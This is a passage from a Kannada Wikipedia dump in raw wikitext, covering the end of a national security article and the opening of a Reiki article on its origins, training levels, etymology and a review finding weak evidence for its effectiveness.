ವಿಧಿಸುವುದರಿಂದಾಗಿ ಅಂದುಕೊಂಡ ಉದ್ದೇಶಕ್ಕೆ ನ್ಯಾಯಸಲ್ಲಿಸಿದಂತಾಗುತ್ತದೆಯೇ? ಎಂಬುದೇ ಆ ಎರಡು ಪ್ರಶ್ನೆಗಳಾಗಿವೆ. == ರಾಷ್ಟ್ರೀಯ ಭದ್ರತೆಯ ತಾಂತ್ರಿಕ ಅಂಶಗಳು == ರಾಷ್ಟ್ರ-ಸಂಸ್ಥಾನಗಳ ಸ್ವರೂಪವು ಅತೀವವಾಗಿ ಸ್ಪರ್ಧಾತ್ಮಕವಾಗಿರುವ ಕಾರಣದಿಂದಾಗಿ, ಗಮನಾರ್ಹವಾದ ಸಂಪನ್ಮೂಲಗಳು ಮತ್ತು ಮೌಲ್ಯವನ್ನು ಹೊಂದಿರುವ ದೇಶಗಳಿಗೆ ಸಂಬಂಧಿಸಿದಂತಿರುವ ರಾಷ್ಟ್ರೀಯ ಭದ್ರತೆಯು ಬಹುತೇಕವಾಗಿ ತಾಂತ್ರಿಕ ಕ್ರಮಗಳು ಮತ್ತು ಕಾರ್ಯಾತ್ಮಕ ಪ್ರಕ್ರಿಯೆಗಳ ಮೇಲೆ ಆಧರಿತವಾಗಿರುತ್ತದೆ. ರಾಷ್ಟ್ರದ ರಹಸ್ಯಗಳಿಗೆ ಸಂಬಂಧಿಸಿದ ಮಾಹಿತಿ ಸಂರಕ್ಷಣೆಯಿಂದ ಮೊದಲ್ಗೊಂಡು ಸೇನೆಗಳಿಗೆ ಸಂಬಂಧಿಸಿದ ಶಸ್ತ್ರಸಮೂಹದವರೆಗೆ, ಮತ್ತು ಅಲ್ಲಿಂದ ಇತರ ರಾಷ್ಟ್ರ-ಸಂಸ್ಥಾನಗಳೊಂದಿಗಿನ ಸಂಧಾನಗಳ ಕಾರ್ಯತಂತ್ರಗಳವರೆಗೆ ಇದರ ವ್ಯಾಪಕಶ್ರೇಣಿಯಿದೆ. ನಿರ್ವಹಣಾ ಪರಿಪಾಠಗಳು, ತಾಂತ್ರಿಕ ಸಾಮರ್ಥ್ಯಗಳು, ಆಂತರಿಕವಾಗಿ ಮತ್ತು ಬಾಹ್ಯವಾಗಿ ಈ ಎರಡೂ ವಿಧಾನಗಳಲ್ಲಿನ ಬಿಂಬಗಳ ಪ್ರಕ್ಷೇಪಣೆ, ಮತ್ತು ತೆರಿಗೆಗಳನ್ನು ಸಂಗ್ರಹಿಸುವುದಕ್ಕಾಗಿ ಜನರ ಸಂಕಲ್ಪವನ್ನು ಸಾಕಷ್ಟು ಪ್ರಮಾಣದಲ್ಲಿ ಗಳಿಸುವ ಸಾಮರ್ಥ್ಯ ಹಾಗೂ ಅವನ್ನು ಉಪಯುಕ್ತ ಪ್ರಯತ್ನಗಳ ಮೇಲೆ ಖರ್ಚುಮಾಡುವುದು ಇವೆಲ್ಲದರ ಸಂಯೋಜನೆಗಳ ಮೇಲೆ ರಾಷ್ಟ್ರೀಯ ಭದ್ರತಾ ಸಾಧನವು ಬಹುತೇಕವಾಗಿ ಅವಲಂಬಿಸಿರುತ್ತದೆ. ಕೆಲವೊಂದು ರಾಷ್ಟ್ರ-ಸಂಸ್ಥಾನಗಳು ತಮ್ಮ ನಾಯಕತ್ವಕ್ಕೆ ಸಂಬಂಧಿಸಿದಂತೆ ಹೆಚ್ಚು ಅಧಿಕಾರವನ್ನು ಗಳಿಸಲು ಶಕ್ತಿಯನ್ನು ಬಳಸಿದರೆ, ಇತರ ರಾಷ್ಟ್ರ-ಸಂಸ್ಥಾನಗಳು ತಮ್ಮ ಜನರಿಗೆ ಜೀವನದ ಗುಣಮಟ್ಟದ ಸುಧಾರಣೆಗಳನ್ನು ಒದಗಿಸುತ್ತವೆ; ಇದರಿಂದ ವಿವಿಧ ಬಗೆಯ ಸರ್ಕಾರಗಳ ನಡುವೆ ಭೂರಾಜಕೀಯದ ಅಥವಾ ಭೂರಾಜ್ಯಶಾಸ್ತ್ರದ ದೊಡ್ಡದಾದ ಘರ್ಷಣೆಗಳು ಸೃಷ್ಟಿಯಾಗುತ್ತವೆ. ರಾಷ್ಟ್ರ-ಸಂಸ್ಥಾನದ ಯಶಸ್ಸು ಮತ್ತು ವೈಫಲ್ಯಕ್ಕಾಗಿರುವ ಸ್ಥಿತಿಗತಿಗಳನ್ನು ಸೃಷ್ಟಿಸುವ ಮತ್ತು ಕಾರ್ಯತಂತ್ರದ ಹಾಗೂ ಯುದ್ಧತಂತ್ರದ ತಳಹದಿಗಳ ಮೇಲೆ ರಾಷ್ಟ್ರ-ಸಂಸ್ಥಾನಗಳನ್ನು ನಿರ್ಮಿಸುವಲ್ಲಿ ಪಾತ್ರವಹಿಸುವ ಆಂತರಿಕ ಶಿಕ್ಷಣ ಮತ್ತು ಸಂಪರ್ಕ ವ್ಯವಸ್ಥೆಗಳಲ್ಲಿ ಈ ಎಲ್ಲವೂ ತಮ್ಮ ತಳಹದಿಗಳನ್ನು ಹೊಂದಿವೆ. ವಿಶ್ವವು ಹೆಚ್ಚಿನ ರೀತಿಯಲ್ಲಿ ಸಾರಿಗೆಯನ್ನು ಸಂವಹನ-ಸಂಪರ್ಕದಿಂದ ಪಲ್ಲಟಗೊಳಿಸುತ್ತಿದೆ ಮತ್ತು ಹೀಗಾಗಿ ಮಾಹಿತಿ ಪರಿಸರದಲ್ಲಿ ಪರಿಣಾಮಕಾರಿಯಾಗಿ ಸಂವಹಿಸುವುದಕ್ಕೆ ಹಾಗೂ ಸಂದೇಶಗಳನ್ನು ರವಾನಿಸುವುದಕ್ಕೆ ಇರುವ ಸಾಮರ್ಥ್ಯವು ಪಾಶ್ಚಾತ್ಯ ರಾಷ್ಟ್ರಗಳ ವಿಷಯದಲ್ಲಿ ರಾಷ್ಟ್ರೀಯ ಭದ್ರತೆಗೆ ಸಂಬಂಧಿಸಿದ ನಿರ್ಣಾಯಕ ಅಂಶವಾಗಿ ಹೊರಹೊಮ್ಮುತ್ತದೆ. ಜಾಗತಿಕ ತಾಪಮಾನದಲ್ಲಿನ ಹೆಚ್ಚಳ ಮತ್ತು ಸಂಶೋಧನಾ ಆದ್ಯತೆಗಳಂಥ ವಿವಾದಾಂಶಗಳು, ರಾಷ್ಟ್ರ-ಸಂಸ್ಥಾನಗಳ ನಡುವಿನ ಸ್ಪರ್ಧೆಯ ವಾಸ್ತವತೆಯ ಮೇಲೆ ಹೆಚ್ಚಿನ ರೀತಿಯಲ್ಲಿ ಮೇಲುಗೈ ಹೊಂದಿರುತ್ತವೆ. ಅಂತಿಮವಾಗಿ ರಾಷ್ಟ್ರ-ಸಂಸ್ಥಾನದ ಭವಿಷ್ಯವನ್ನು ಪೋಷಿಸುವ ಸ್ಥಾಪಿತ ಸಂಪ್ರದಾಯಗಳನ್ನು ಸೃಷ್ಟಿಸುವ ಮತ್ತು ಸಮರ್ಥಿಸುವ ಸಲುವಾಗಿ, ರಾಷ್ಟ್ರೀಯ ಭದ್ರತೆಗೆ ಆಧಾರವಾಗಿರುವ ತಾಂತ್ರಿಕ ಅಂಶಗಳ ಒಂದು ಸ್ಪಷ್ಟವಾದ ಗ್ರಹಿಕೆಯನ್ನು ಹೊಂದುವುದರ ಅಗತ್ಯಕ್ಕೆ ಈ ಎಲ್ಲವೂ ಕಾರಣವಾಗುತ್ತವೆ. == ಇವನ್ನೂ ಗಮನಿಸಿ == *ಭಯೋತ್ಪಾದನಾ-ನಿರೋಧಕ ಶಾಸನಗಳು *ಕಂಪ್ಯೂಟರ್‌ ಅಭದ್ರತೆ *ಉತ್ತಮ ಆಡಳಿತ *ಮಾತೃಭೂಮಿಯ ಭದ್ರತೆ *ಅಂತರರಾಷ್ಟ್ರೀಯ ಭದ್ರತೆ *ಅಣ್ವಸ್ತ್ರ ನಿರೋಧ *ಆರಕ್ಷಕ ರಾಷ್ಟ್ರ *ಕಾನೂನಿನ ಪ್ರಭುತ್ವ *ಭದ್ರತೆ *[[ಭಯೋತ್ಪಾದನೆ]] == ಉಲ್ಲೇಖಗಳು == {{Reflist}} {{DEFAULTSORT:National Security}} [[ವರ್ಗ:ರಾಷ್ಟ್ರೀಯ ಸುರಕ್ಷತೆ]] [[ವರ್ಗ:ರಾಜಕೀಯ ಪರಿಭಾಷೆಗಳು]] [[ವರ್ಗ:ಆರ್ಟಿಕಲ್ ಫೀಡ್ಡ್‌ಬ್ಯಾಕ್‌ ಪೈಲಟ್]] 0jq44l8qdcxz03ktxeepj9vvgsyl93v ರೇಖಿ 0 27963 1116422 1065119 2022-08-23T12:15:20Z InternetArchiveBot 69876 Rescuing 1 sources and tagging 0 as dead.) #IABot (v2.0.9 wikitext text/x-wiki {{Chinese |title=''Reiki'' |p=língqì |w=ling<sup>2</sup>-ch'i<sup>4</sup> |j= ling<sup>4</sup>-hei<sup>3</sup> |t=[[wikt:靈|靈]][[wikt:氣|氣]] |s=[[wikt:灵|灵]][[wikt:气|气]] |shinjitai=[[wikt:霊|霊]][[wikt:気|気]] |kyujitai=靈氣 |hiragana=れいき |revhep=Reiki |rr=yeonggi |mr=yŏngki |hangul=영기 |hanja=靈氣 |qn=linh khí}} {{nihongo|'''Reiki'''|霊気||{{IPA-en|ˈreɪkiː}}}}ಎಂಬುದು ಆಧ್ಯಾತ್ಮಿಕ ಅಭ್ಯಾಸ<ref name="Reiki as spiritual practice">ಲೂಬೆಕ್, ಪೆಟ್ಟರ್, ಹಾಗು ರಾಂಡ್ (೨೦೦೧). ಅಧ್ಯಾಯ ೧೪, ಪುಟಗಳು ೧೦೮ ರಿಂದ ೧೧೦; ಎಲ್ಲ್ಯರ್ಡ್ (೨೦೦೪). ಪುಟ ೭೯; ಮ್ಯಾಕ್ಕೆಂಜಿ (೧೯೯೮). ಪುಟಗಳು ೧೯, ೪೨, ಹಾಗು ೫೨; ಲೂಬೆಕ್ (೧೯೯೬). ಪುಟ ೨೨; ಬೋರಾಂಗ್ (೧೯೯೭). ಪುಟ ೫೭; ವೆಲ್ಥೆಯಿಂ ಹಾಗು ವೆಲ್ಥೆಯಿಂ (೧೯೯೫). ಪುಟ ೭೨</ref> ವಾಗಿದ್ದು, ಇದನ್ನು ೧೯೨೨ರಲ್ಲಿ ಜಪಾನಿನ ಬೌದ್ಧ ಮತೀಯ [[ಮಿಕಾವೊ ಉಸುಯಿ]] ಅಭಿವೃದ್ಧಿಪಡಿಸಿದರು. ಇದು ಸಾಮಾನ್ಯವಾಗಿ ''ಪಾಮ್ ಹೀಲಿಂಗ್'' ಎಂದು ಕರೆಯಲ್ಪಡುವ ವಿಧಾನವನ್ನು ಪೂರಕ ಮತ್ತು ಪರ್ಯಾಯ ಚಿಕಿತ್ಸೆಯ ರೂಪದಲ್ಲಿ ಬಳಸುತ್ತದೆ ಹಾಗು ಕೆಲ ವೃತ್ತಿಪರರು ಇದನ್ನು ಕೆಲವೊಮ್ಮೆ ''ಪೌರಸ್ತ್ಯ ಚಿಕಿತ್ಸೆ'' ಎಂದು ವರ್ಗೀಕರಿಸುತ್ತಾರೆ.<ref>{{cite web |url=http://www.i-c-m.org.uk/practitioners/divisions |title=BRCP Divisions & Practises |author=Institute for Complementary and Natural Medicine |accessdate=April 10, 2010 |archive-date=ಆಗಸ್ಟ್ 12, 2007 |archive-url=https://web.archive.org/web/20070812231607/http://www.i-c-m.org.uk/practitioners/divisions |url-status=dead }}</ref> ಈ ವಿಧಾನದ ಮೂಲಕ ವೈದ್ಯರು, ಗುಣಪಡಿಸುವ ಶಕ್ತಿಯನ್ನು ''ಕೀ'' ನ ರೂಪದಲ್ಲಿ ಅಂಗೈ ಮೂಲಕ ವರ್ಗಾವಣೆ ಮಾಡುತ್ತಾರೆ.<ref name="through hands">ರೇಖಿ ಕೈಗಳ ಮೂಲಕ ಸಂಚರಿಸುತ್ತದೆ: (ಮ್ಯಾಕ್ಕೆಂಜಿ (೧೯೯೮). ಪುಟ ೧೮);(ಎಲ್ಲ್ಯರ್ಡ್ (೨೦೦೪). ಪುಟ ೨೭);(ಬೋರಾಂಗ್ ೧೯೯೭). ಪುಟ ೯); (ವೆಲ್ಥೆಯಿಂ ಹಾಗು ವೆಲ್ಥೆಯಿಂ (೧೯೯೫). ಪುಟ ೩೩)</ref> ರೇಖಿಯ ಎರಡು ಪ್ರಮುಖ ಶಾಖೆಗಳನ್ನು ಸಾಮಾನ್ಯವಾಗಿ ''ಸಾಂಪ್ರದಾಯಿಕ ಜಪಾನೀಸ್ ರೇಖಿ'' ಮತ್ತು ''ಪಾಶ್ಚಿಮಾತ್ಯ ರೇಖಿ'' ಎಂದು ಸೂಚಿಸಲಾಗುತ್ತದೆ. ರೇಖಿಯ ಸಾಂಪ್ರದಾಯಿಕ ಮತ್ತು ಪಾಶ್ಚಿಮಾತ್ಯ ರೂಪಗಳಲ್ಲಿ, ಮೂರು ರೀತಿಯ ಶೈಕ್ಷಣಿಕ ಹಂತಗಳಿವೆ.ಇವುಗಳನ್ನು ಸಾಮಾನ್ಯವಾಗಿ ಮೊದಲನೆಯದು,ಎರಡನೆಯದು ಮತ್ತು ತಜ್ಞ/ಶಿಕ್ಷಕ ಹಂತ ಎಂದು ಕರೆಯಲಾಗುತ್ತದೆ. ರೇಖಿ ವೈದ್ಯರು ಮತ್ತು ತಜ್ಞರ ಪ್ರಕಾರ, ಮೊದಲ ಹಂತದ ಪದವಿಯಲ್ಲಿ, ರೇಖಿಯನ್ನು ಅಭ್ಯಸಿಸುವವರು ಸ್ವತಃ ತಮ್ಮನ್ನು ಹಾಗು ಇತರರನ್ನು ಗುಣಪಡಿಸುವ ಸಾಮರ್ಥ್ಯವನ್ನು ಹೊಂದಿರುತ್ತಾರೆ. ಎರಡನೆಯ ಪದವಿ ಹಂತದಲ್ಲಿ ವೈದ್ಯರು ವಿಶಿಷ್ಟ ಸಂಕೇತಗಳನ್ನು ಬಳಸಿಕೊಂಡು ದೂರದಿಂದಲೆ(ಸಾಮಾನ್ಯವಾಗಿ''ದೂರ ಚಿಕಿತ್ಸೆ'' ) ಇತರರನ್ನು ಗುಣಪಡಿಸಬಲ್ಲರು. ಶಿಕ್ಷಕ ಹಂತದಲ್ಲಿ (ನಿರ್ದಿಷ್ಟವಾಗಿ ತಜ್ಞ/ಶಿಕ್ಷಕ ಹಂತ) ಅವರು ರೇಖಿಯನ್ನು ಇತರರಿಗೆ ಬೋಧಿಸಬಲ್ಲವರಾಗಿರುತ್ತಾರೆ ಹಾಗು ರೇಖಿಯನ್ನು ಇತರರಿಗೆ ಕಲಿಯಲು ಅನುವು ಮಾಡಿಕೊಡುತ್ತಾರೆ. ೨೦೦೮ರಲ್ಲಿ ನಡೆಸಲಾದ ಯಾದೃಚ್ಛೀಕರಿಸಲಾದ ಪ್ರಾಯೋಗಿಕ ಪರೀಕ್ಷೆಗಳ <ref name="Lee_SR">{{cite journal|title=Effects of Reiki in clinical practice: a systematic review of randomized clinical trials|journal=International Journal of Clinical Practice|year=2008|volume=62|issue=6|pages=947–54|doi= 10.1111/j.1742-1241.2008.01729.x|url=http://doi.org/10.1111/j.1742-1241.2008.01729.x|format=|accessdate=2008-05-02|pmid=18410352|last1=Lee|first1=MS|last2=Pittler|first2=MH|last3=Ernst|first3=E }}</ref> ಒಂದು ಕ್ರಮಬದ್ಧ ವಿಮರ್ಶೆ ಕೆಳಕಂಡಂತೆ ತಿಳಿಸಿದೆ: "..ಅಧ್ಯಯನ ನಡೆಸಲಾದಂತಹ ಸ್ಥಿತಿಗಳನ್ನು(ಖಿನ್ನತೆ, ನೋವು ಹಾಗು ಆತಂಕ, ಹಾಗು ಇತರೆ) ಆಧಾರವಾಗಿಟ್ಟುಕೊಂಡು ರೇಖಿಯು ಒಂದು ಪರಿಣಾಮಕಾರಿ ಚಿಕಿತ್ಸೆಯೆಂದು ಸೂಚಿಸಲು ಸಾಕಷ್ಟು ಸಾಕ್ಷ್ಯಾಧಾರಗಳಿಲ್ಲ.." {{TOC limit|3}} ==ಇತಿಹಾಸ== ===ಹೆಸರಿನ ನಿಷ್ಪತ್ತಿ=== [[File:Mikaousui.jpg|thumb|100px|ಮಿಕವೋ ಉಸುಯಿ 臼井甕男 (1865–1926)]] [[ಆಂಗ್ಲ|ಇಂಗ್ಲೀಷ್]] ಪದವಾದ ''ರೇಖಿ'' , "ಪರ್ಯಾಯ ಚಿಕಿತ್ಸಾ ವಿಧಾನ" ಎಂಬ ಅರ್ಥವನ್ನು ನೀಡುತ್ತದೆ, ಇದನ್ನು ಜಪಾನಿ ಸ್ವೀಕೃತ ಪದ ''ರೇಖಿ'' 霊気ಯಿಂದ ತೆಗೆದುಕೊಳ್ಳಲಾಗಿದೆ, ಇದು "ನಿಗೂಢ ವಾತಾವರಣ ಅಥವಾ ಭಾವನೆ" ಎಂಬ ಅರ್ಥವನ್ನು ನೀಡುತ್ತದೆ, ಇದು ಚೈನೀಸ್ ಸ್ವೀಕೃತ ಪದ ''ಲಿಂಗ್ಕಿ'' 靈氣ಯಿಂದ ಜನ್ಯವಾಗಿದೆ, ಇದರರ್ಥ "ಆಧ್ಯಾತ್ಮಿಕ ವಾತಾವರಣ; ಬುದ್ಧಿವಂತಿಕೆ". ಈ ಪದಕ್ಕೆ ''ಆಕ್ಸ್ಫರ್ಡ್ ಆಂಗ್ಲ ನಿಘಂಟಿನಲ್ಲಿ'' ಸಮಗ್ರವಾಗಿ ಅರ್ಥ ನಿರೂಪಿಸಲಾಗಿದೆ. <blockquote>'''ರೇಖಿ''' , ''ನಾಮಪದ.'' ''ಪರ್ಯಾಯ ಚಿಕಿತ್ಸೆ.'' ಬ್ರಿಟ್. /ˈreɪki/, U.S. /ˈreɪki/. ರೂಪಗಳು: ದೊಡ್ದಕ್ಷರದ ಆದ್ಯಕ್ಷರದೊಂದಿಗೂ ಸಹಿತ. </blockquote> <blockquote>[‹ಜಪಾನೀಸ್ ''ರೇಖಿ'' , ಸಾಮಾನ್ಯವಾಗಿ 'ನಿಗೂಢ ವಾತಾವರಣ, ಆಶ್ಚರ್ಯಕರ ಸಂಕೇತ' ಎಂಬ ಅರ್ಥ ನೀಡುವ ವಿಶೇಷ ಪದ(1001; ಚೈನೀಸ್ ''ಲಿಂಗ್ಕಿ'' ಗೆ ಹೋಲಿಕೆ ಆಧ್ಯಾತ್ಮಿಕ ವಾತಾವರಣ)‹ ''ರೇಯಿ'' ಚೇತನ, ಅಮೂರ್ತ ಚೇತನ(< ಮಧ್ಯ ಚೈನೀಸ್) + ''ಕಿ'' ಜೀವಾಧಾರಕ ಶಕ್ತಿ (< ಚೈನೀಸ್ ''ಕಿ'' '''ಚಿ''' ಯ ಮಧ್ಯ ಚೈನೀಸ್ ಆಧಾರ ನಾಮಪದ <sup>2</sup>).]</blockquote> <blockquote>ಆಧ್ಯಾತ್ಮಿಕ ಜೀವನ ಶಕ್ತಿ, ಅಥವಾ ಜೀವಾಧಾರಕ ಆಧ್ಯಾತ್ಮಿಕ ಶಕ್ತಿ, ಇದು ಎಲ್ಲ ಜೀವಿಗಳಲ್ಲಿ ಸ್ವಭಾವಗತವಾಗಿರುತ್ತವೆಂದು ಹೇಳಲಾಗುತ್ತದೆ (cf. '''ಚಿ''' ನಾಮಪದ.<sup>೨</sup>). ಪರಿಣಾಮವಾಗಿ: ಸ್ಪಷ್ಟವಾಗಿ ಪುರಾತನ ಟಿಬೇಟಿಯನ್ ಬೌದ್ಧಧರ್ಮದ ವಿಧಾನವನ್ನು ಆಧಾರಿಸಿದ ಒಂದು ಚಿಕಿತ್ಸೆಯನ್ನು, ಜಪಾನಿನಲ್ಲಿ ೧೯ನೇ ಶತಮಾನದ ನಂತರ ಭಾಗದಲ್ಲಿ ಅಥವಾ ೨೦ನೇ ಶತಮಾನದ ಆರಂಭದಲ್ಲಿ ಡಾ. ಮಿಕಾವೋ ಉಸುಯಿ(೧೮೬೫–೧೯೨೬) ಅಭಿವೃದ್ಧಿಪಡಿಸಿದರು, ಈ ವಿಧಾನದಲ್ಲಿ ಚಿಕಿತ್ಸಕರು ಈ ಶಕ್ತಿಯನ್ನು ಆತನಿಂದ- ಅಥವಾ ಆಕೆಯಿಂದ ರೋಗಿಗೆ ಕೈಗಳ ಮೇಲೆ ತಮ್ಮ ಕೈಯನ್ನು ಮೃದುವಾಗಿ ಇರಿಸುವ ಮೂಲಕ ವರ್ಗಾಯಿಸುತ್ತಾರೆ, ಇದರಿಂದ ರೋಗಿಯ ದೇಹದ ಸ್ವಾಭಾವಿಕ ರಕ್ಷಣಾ ಪ್ರಕ್ರಿಯೆಯು ಚುರುಕುಗೊಳ್ಳುವುದರ ಜೊತೆಗೆ ಶಾರೀರಿಕ ಹಾಗು ಭಾವನಾತ್ಮಕವಾಗಿ ಆರೋಗ್ಯ ಸ್ಥಿತಿಯು ಮೊದಲಿನಂತಾಗುತ್ತದೆ.<ref>J. ಸಿಂಪ್ಸನ್, E. ವೆಯಿನರ್, M. ಪ್ರೊಫ್ಫಿಟ್ಟ್, ಮತ್ತಿತರರು., ೧೯೮೯, ''ಆಕ್ಸ್ಫರ್ಡ್ ಇಂಗ್ಲಿಷ್ ಡಿಕ್ಷನರಿ '' , ೨ನೇ ಆವೃತ್ತಿ.</ref></blockquote> ''OED'' ಪಟ್ಟಿಯ ಪ್ರಕಾರ [[೧೯೭೫|1975]]ರಲ್ಲಿ ಮೊದಲ ಬಾರಿಗೆ ರೇಖಿ ಎಂಬ ಪದವನ್ನು ಬಳಸಲಾಯಿತೆಂದು ದಾಖಲಿಸಲಾಗಿದೆ.<ref>''ದಿ ಸ್ಯಾನ್ ಮಾಟೆಯೋ ಟೈಮ್ಸ್'' , ೨ ಮೇ ೧೯೭೫, ೩೨/೧.</ref> ಸಾಮಾನ್ಯ ಲಿಪ್ಯಂತರಣಕ್ಕೆ ಬದಲಾಗಿ, ಕೆಲ ಆಂಗ್ಲ-ಭಾಷಾ ಲೇಖಕರು, ರೇಖಿಯನ್ನು "ಸಾರ್ವತ್ರಿಕ ಜೀವನಾಧಾರ ಶಕ್ತಿಯೆಂದು" ಸಡಿಲವಾಗಿ ತರ್ಜುಮೆ ಮಾಡುತ್ತಾರೆ,<ref>ಲೂಬೆಕ್, ಪೆಟ್ಟರ್, ಹಾಗು ರಾಂಡ್ (೨೦೦೧). ಪುಟ ೩೦೨; ಮ್ಯಾಕ್ಕೆಂಜಿ(೧೯೯೮). ಪುಟ ೧೮; ಶುಫ್ಫ್ರೆಯ್ (೧೯೯೮). ಪುಟ ೧.</ref> ಇದು ಜಪಾನೀಸ್ ಭಾಷೆಯ ಅರ್ಥಕ್ಕಿಂತ ಭಿನ್ನವಾಗಿರುತ್ತದೆ. "ನಿಗೂಢ ವಾತಾವರಣ" ಎಂಬ ಅರ್ಥವನ್ನು ನೀಡುವ [[ಜಪಾನಿ ಭಾಷೆ|ಜಪಾನೀಸ್]]''ರೇಖಿ'' ಪದವನ್ನು ಶಿಂಜಿತೈ ಕಾಂಜಿನಲ್ಲಿ (ಹೊಸ ಚೈನೀಸ್ ಅಕ್ಷರ ರೂಪಗಳು) 霊気 ಅಥವಾ レイキ ಎಂದು ಕತಕಾನ ಮಾತ್ರಾಕ್ಷರಮಾಲೆಯಲ್ಲಿ(ಮಾದರಿಯಾಗಿ ವಿದೇಶಿ ಪದಗಳನ್ನು ಲಿಪ್ಯಂತರಿಸಲು ಬಳಸಲಾಗುತ್ತದೆ) ಬರೆಯಲಾಗುತ್ತದೆ. ಇದು "ಅಳಿದ ಚೇತನ, ಆತ್ಮ; ಅಮೂರ್ತ ಚೇತನ, ಚೈತನ್ಯ; ನಿಗೂಢತೆ, ಪವಿತ್ರವಾದ, ದೈವಿಕ" ಎಂಬ ಅರ್ಥವನ್ನು ನೀಡುವ ''ರೇಯಿ'' [[Wikt:霊|霊]] ಹಾಗು "ಅನಿಲ, ಆವಿ; ವಾತಾವರಣ; ಜೀವಾಧಾರಕ ಶಕ್ತಿ, ಚೈತನ್ಯ, ಜೀವನಕ್ಕೆ ಉಸಿರು, ಜೀವಶಕ್ತಿ; ಶಕ್ತಿ, ಬಲ; ಸ್ವಾಭಾವಿಕ ವಿದ್ಯಮಾನ; ಚೇತನ, ಮನಸ್ಸು, ಜಾಗೃತಿ..."<ref>ಜ್ಯಾಕ್ ಹಲ್ಪರ್ನ್, ''ನ್ಯೂ ಜಪಾನೀಸ್-ಇಂಗ್ಲಿಷ್ ಕ್ಯಾರೆಕ್ಟರ್ ಡಿಕ್ಷನರಿ'' (新漢英字典), ಕೆನ್ಕ್ಯುಷ, ೧೯೯೦, NTC ಮರುಮುದ್ರಣ, ೧೯೯೩. ''ಕಿ'' ಗೆ ಮತ್ತಷ್ಟು ಹೆಚ್ಚಿನ ವಿವರಣೆಯನ್ನು ಈ ರೀತಿ ನೀಡಲಾಗುತ್ತದೆ "...ಚೇತನಗಳು; ಒಬ್ಬರ ಭಾವನೆಗಳು, ಚಿತ್ತ, ಮನಸ್ಸಿನ ಚೌಕಟ್ಟು; ಮನೋಧರ್ಮ,ಸ್ವಭಾವ,ಕ್ರಮ ಜೋಡಣೆ,ಒಬ್ಬರ ಸ್ವಭಾವ,ಸ್ವರೂಪ,ಒಂದು ವಿಷಯಕ್ಕೆ ಮನಸ್ಸು ಮಾಡುವುದು, ಉದ್ದೇಶ,ಇಚ್ಛೆ; ಕಾಳಜಿ,ಗಮನ,ಎಚ್ಚರಿಕೆ".</ref> ಎಂಬ ಅರ್ಥವನ್ನು ನೀಡುವ ''ಕಿ'' [[Wikt:気|気]]ಎಂಬ ಪದಗಳನ್ನು ಸಂಯೋಗಿಸುತ್ತದೆ. ಈ ಕಿಯನ್ನು(ಅಂದರೆ, ಚೈನೀಸ್ ''ಕಿ'' ಅಥವಾ ಚಿ)''ರೇಖಿ'' ಯಲ್ಲಿ "ಆಧ್ಯಾತ್ಮಿಕ ಶಕ್ತಿ[[; ಜೀವಧಾರಕ ಶಕ್ತಿ; [[ಜೀವಶಕ್ತಿ]]; ಜೀವನದ ಶಕ್ತಿ" ಎಂದು ಪರಿಗಣಿಸಲಾಗುತ್ತದೆ.<ref>ಹೆಸರಿಂದ ನಿಷ್ಪತ್ತಿ: ಲೂಬೆಕ್, ಪೆಟ್ಟರ್ ಹಾಗು ರಾಂಡ್(೨೦೦೧). ಅಧ್ಯಾಯ ೬)</ref>]] ಜಪಾನೀಸ್-ಆಂಗ್ಲ ನಿಘಂಟುಗಳಲ್ಲಿ ಕಂಡುಬರುವ ರೇಖಿ ಪದದ ಕೆಲ ಸಮಾನಾಂತರ ತರ್ಜುಮೆಗಳೆಂದರೆ:"ನಿಗೂಢ ಭಾವ",<ref>M. ಸ್ಪಹ್ನ್ ಹಾಗು W. ಹದಮಿದ್ಟ್ಜಿ (೧೯೮೯), ''ಜಪಾನೀಸ್ ಕ್ಯಾರೆಕ್ಟರ್ ಡಿಕ್ಷನರಿ ವಿಥ್ ಕಾಂಪೌಂಡ್ ಲುಕ್ ಅಪ್ ವ್ಯಾ ಎನಿ ಕಾಂಜಿ'' , ನಿಚಿಗೈ.</ref>"ನಿಗೂಢತೆಯ ವಾತಾವರಣ(ಭಾವನೆ)",<ref>J. H. ಹೈಗ್ (೧೯೯೭ರ ಆವೃತ್ತಿ), ''ದಿ ನ್ಯೂ ನೆಲ್ಸನ್ ಜಪಾನೀಸ್-ಇಂಗ್ಲಿಷ್ ಕ್ಯಾರೆಕ್ಟರ್ ಡಿಕ್ಷನರಿ'' , ಟಟ್ಟಲ್.</ref> ಹಾಗು "ಒಂದು ಅಲೌಕಿಕ ವಾತಾವರಣ(ಇದನ್ನು ದೇವಾಲಯದ ಪವಿತ್ರ ಪ್ರಾಕಾರದಲ್ಲಿ ಅನುಭವಿಸಬಹುದು);(ಅನುಭವಿಸುವುದು, ಇಂದ್ರೀಯ ಶಕ್ತಿ) ಒಂದು ಆಧ್ಯಾತ್ಮಿಕ(ದೈವಿಕ)ಉಪಸ್ಥಿತಿ."<ref>T. ವಾಟನಬೆ, E., R. ಸ್ಕ್ರ್ಜಿಪ್ಕಜ್ಯಕ್, ಹಾಗು P. ಸ್ನೋಡೆನ್(೨೦೦೩). ''ಕೆನ್ಕ್ಯುಷ'ಸ್ ನ್ಯೂ ಜಪಾನೀಸ್-ಇಂಗ್ಲಿಷ್ ಡಿಕ್ಷನರಿ'' .</ref> ಸಾಮಾನ್ಯವಾಗಿ ''ರೇಖಿ'' ಪದಕ್ಕಿರುವ ಸಿನೋ-ಜಪಾನೀಸ್ ಉಚ್ಚಾರಣೆಯ ಜೊತೆಯಲ್ಲಿ, ಈ ಕಾಂಜಿ 霊気 ಪರ್ಯಾಯ ಜಪಾನೀಸ್ ಅರ್ಥವಿವರಣೆಯನ್ನು ಹೊಂದಿದೆ,''ರಯೋಗೆ'' , ಅರ್ಥ "ರಾಕ್ಷಸ; ಪ್ರೇತ"(ಅದರಲ್ಲೂ ವಿಶೇಷವಾಗಿ ಅಲೌಕಿಕ ಜೀವಿಯ ಸ್ವಾಧೀನದಲ್ಲಿರುವಾಗ).<ref>ಮೊರೋಹಷಿ ತೆತ್ಸುಜಿ, ೧೯೬೦, ''ದಾಯಿ ಕನ್-ವಾ ಜಿತೆನ್'' 大漢和辞典, ತೈಶುಕನ್; ಟೋಡೊ ಅಕಿಯಾಸು, ೧೯೭೮, ''ಕಾನ್-ವಾ ದೈಜಿತೆನ್'' 漢和大字典, ಗಕ್ಕೆನ್. ಎರಡೂ ನಿಘಂಟುಗಳು ''ರಯೊಗೆ'' ಯನ್ನು ''ಮೊನೋನೋಕೆ'' もののけ ಎಂದು ಅರ್ಥವಿವರಿಸುತ್ತವೆ, ಇದು ಅಧೀನಪಡಿಸಿಕೊಳ್ಳುವ 